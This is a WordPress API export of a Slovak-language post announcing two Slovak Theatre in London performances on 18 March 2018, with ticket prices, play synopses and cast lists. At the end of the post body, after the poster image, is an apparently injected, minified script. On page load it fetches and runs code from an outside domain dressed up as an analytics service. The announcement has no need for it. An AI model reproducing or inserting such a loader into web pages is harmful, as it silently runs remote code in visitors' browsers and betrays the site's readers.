{"id":24302,"date":"2018-02-24T08:00:42","date_gmt":"2018-02-24T08:00:42","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=24302"},"modified":"2026-03-30T10:48:53","modified_gmt":"2026-03-30T09:48:53","slug":"slovenske-divadlo-v-londyne","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=24302","title":{"rendered":"SLOVENSK\u00c9 DIVADLO V LOND\u00ddNE"},"content":{"rendered":"<p style=\"text-align: center;\"><strong><em><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-thumbnail wp-image-24305\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/divadelna-scena-150x150.jpg\" alt=\"divadelna scena\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/divadelna-scena-150x150.jpg 150w, https:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/divadelna-scena-144x144.jpg 144w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/>Slovensk\u00e9 divadlo v Lond\u00fdne<\/em><\/strong><strong><br \/>\n<\/strong><strong><em>Slovak theatre in London<\/em><\/strong><strong>\u00a0(STL)<\/strong><\/p>\n<p style=\"text-align: center;\">poz\u00fdva v\u0161etk\u00fdch Slov\u00e1kov a \u010cechov ako aj ich zahrani\u010dn\u00fdch priate\u013eov<br \/>\nna dve skvel\u00e9 profesion\u00e1lne divadeln\u00e9 predstavenia,<\/p>\n<p style=\"text-align: center;\"><em><strong>18. 3. 2018 o 5.30pm do Venue 229, Great Portland Street, London, W1W 5PN\u00a0<\/strong><\/em>.<\/p>\n<p style=\"text-align: center;\">Ve\u010der so slovenskou modernou kult\u00farou v\u00e1m spr\u00edjemn\u00ed drink pri bare a rozhovory v kruhu krajanov.<\/p>\n<p>Jazyk predstaven\u00ed: slovensk\u00fd, s anglick\u00fdmi titulkami<\/p>\n<p>L\u00edstky:\u00a0\u00a310,\u00a0\u00a0\u00a0\u00a315 na <u>www.<a href=\"http:\/\/pishter.com\/\">pishter.com<\/a><\/u><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Hra\u00a0<strong>Mami, \u010do si chcela?<\/strong>\u00a0(55 min) je prv\u00e1 slovensk\u00e1 hra\u00a0o s\u00fa\u010dasn\u00fdch star\u00fdch mam\u00e1ch alebo babi\u010dk\u00e1ch,\u00a0ktor\u00e9 doch\u00e1dzaj\u00fa za svojimi vn\u00fa\u010datami do Ve\u013ekej\u00a0Brit\u00e1nie. Z\u00e1kladom hry je \u0161trn\u00e1s\u0165 d\u00f4vern\u00fdch rozhovorov\u00a0s autentick\u00fdmi \u201clietaj\u00facimi\u201d babkami. T\u00e1to hra oslov\u00ed ka\u017ed\u00e9ho\u00a0Slov\u00e1ka alebo \u010cecha, usaden\u00e9ho, resp. dlhodobo \u017eij\u00faceho v zahrani\u010d\u00ed \u2013\u00a0nehovoriac o t\u00fdch krajanoch, ktor\u00ed u\u017e v zahrani\u010d\u00ed\u00a0vychov\u00e1vaj\u00fa nov\u00e9 \u017eivoty\u2026 Budeme sa spolo\u010dne p\u00fdta\u0165:\u00a0\u00a0\u010co vlastne vieme o na\u0161ich rodi\u010doch \u2013 u\u017e aj star\u00fdch rodi\u010doch?\u00a0Vid\u00edme skuto\u010dne do ich srdca?<\/p>\n<p>Predstavenie bude tohtoro\u010dnou\u00a0premi\u00e9rou STL, m\u00e1 charakter alternat\u00edvneho\u00a0divadla a pote\u0161\u00ed aj umelecky n\u00e1ro\u010dn\u00e9ho div\u00e1ka.<\/p>\n<p>TVORCOVIA:<br \/>\nKompoz\u00edcia textu a hudba: Juliana Sersenov\u00e1<br \/>\nR\u00e9\u017eia a choreografia: Jana Klimov\u00e1<br \/>\nKost\u00fdmy: S\u00e1ra \u0160i\u0161kov\u00e1<br \/>\nHraj\u00fa: Jana Jen\u010dov\u00e1, Monika \u0160imkov\u00e1, Luk\u00e1\u0161 Bo\u017e\u00edk, Simona Vrabcov\u00e1, Jazm\u00edna Jablon\u010di\u010d<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p style=\"text-align: justify;\">Hra\u00a0<strong>Akad\u00e9mia pre \u017eeny<\/strong>\u00a0(65 min) je nap\u00ednav\u00fdm pr\u00edbehom, pohybuj\u00facim sa na hranici reality a absurdnosti.\u00a0V \u0161t\u00e1te Nevada otvorili unik\u00e1tnu Akad\u00e9miu pre \u017eeny. Po \u00faspe\u0161nom prijat\u00ed adeptiek sa v\u0161etko sa zd\u00e1 by\u0165 v poriadku,\u00a0vedomosti prib\u00fadaj\u00fa, \u0161tudentky prosperuj\u00fa. Probl\u00e9m nast\u00e1va, ke\u010f sa po\u017eiadavky u\u010dite\u013eov za\u010dn\u00fa zvy\u0161ova\u0165\u00a0a akad\u00e9mia odha\u013euje svoju skryt\u00fa, zhubn\u00fa tv\u00e1r. Hra je kritikou akcept\u00e1cie obchodu s \u013eudsk\u00fdm m\u00e4som.\u00a0Kv\u00f4li z\u00e1va\u017enosti obsahu je vhodn\u00e1 pre deti star\u0161ie ako 12 rokov.<\/p>\n<p>Predstavenie je repr\u00edzou minuloro\u010dnej premi\u00e9ry, s obnovenou r\u00e9\u017eiou a obsaden\u00edm.<\/p>\n<p>TVORCOVIA:<br \/>\nScen\u00e1r: Juliana Sersenov\u00e1<br \/>\nR\u00e9\u017eia: kolaborat\u00edvna<br \/>\nChoreografia: Jana Klimov\u00e1<br \/>\nSc\u00e9na a kost\u00fdmy: S\u00e1ra \u0160i\u0161kov\u00e1<br \/>\nHudba: Katar\u00edna Sliacka<br \/>\nHraj\u00fa: Petra \u010cor\u0148\u00e1kov\u00e1, Simon Kopunec, Zuzana \u0160\u0165astn\u00e1, Simona Vrabcov\u00e1<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Sledujte na\u0161u pr\u00edpravu na str\u00e1nkach:<br \/>\n<a href=\"http:\/\/www.slovaktheatreinlondon.com\/\">www.slovaktheatreinlondon.com<\/a><br \/>\nFB: Slovak Theatre in London<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-24303 size-large\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/07_Slovensk\u00e9-divadlo-v-Lond\u00fdne-18.03.2018-683x1024.jpg\" alt=\"07_Slovensk\u00e9 divadlo v Lond\u00fdne 18.03.2018\" width=\"683\" height=\"1024\" srcset=\"https:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/07_Slovensk\u00e9-divadlo-v-Lond\u00fdne-18.03.2018-683x1024.jpg 683w, https:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/07_Slovensk\u00e9-divadlo-v-Lond\u00fdne-18.03.2018-200x300.jpg 200w, https:\/\/www.scmlondon.org\/wp-content\/uploads\/2018\/02\/07_Slovensk\u00e9-divadlo-v-Lond\u00fdne-18.03.2018-768x1152.jpg 768w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Slovensk\u00e9 divadlo v Lond\u00fdne Slovak theatre in London\u00a0(STL) poz\u00fdva v\u0161etk\u00fdch Slov\u00e1kov a \u010cechov ako aj ich zahrani\u010dn\u00fdch priate\u013eov na dve skvel\u00e9 profesion\u00e1lne divadeln\u00e9 predstavenia, 18. 3. 2018 o 5.30pm do&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=24302\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":417,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28],"tags":[],"class_list":["post-24302","post","type-post","status-publish","format-standard","hentry","category-28"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/24302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/417"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24302"}],"version-history":[{"count":1,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/24302\/revisions"}],"predecessor-version":[{"id":24306,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/24302\/revisions\/24306"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24302"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}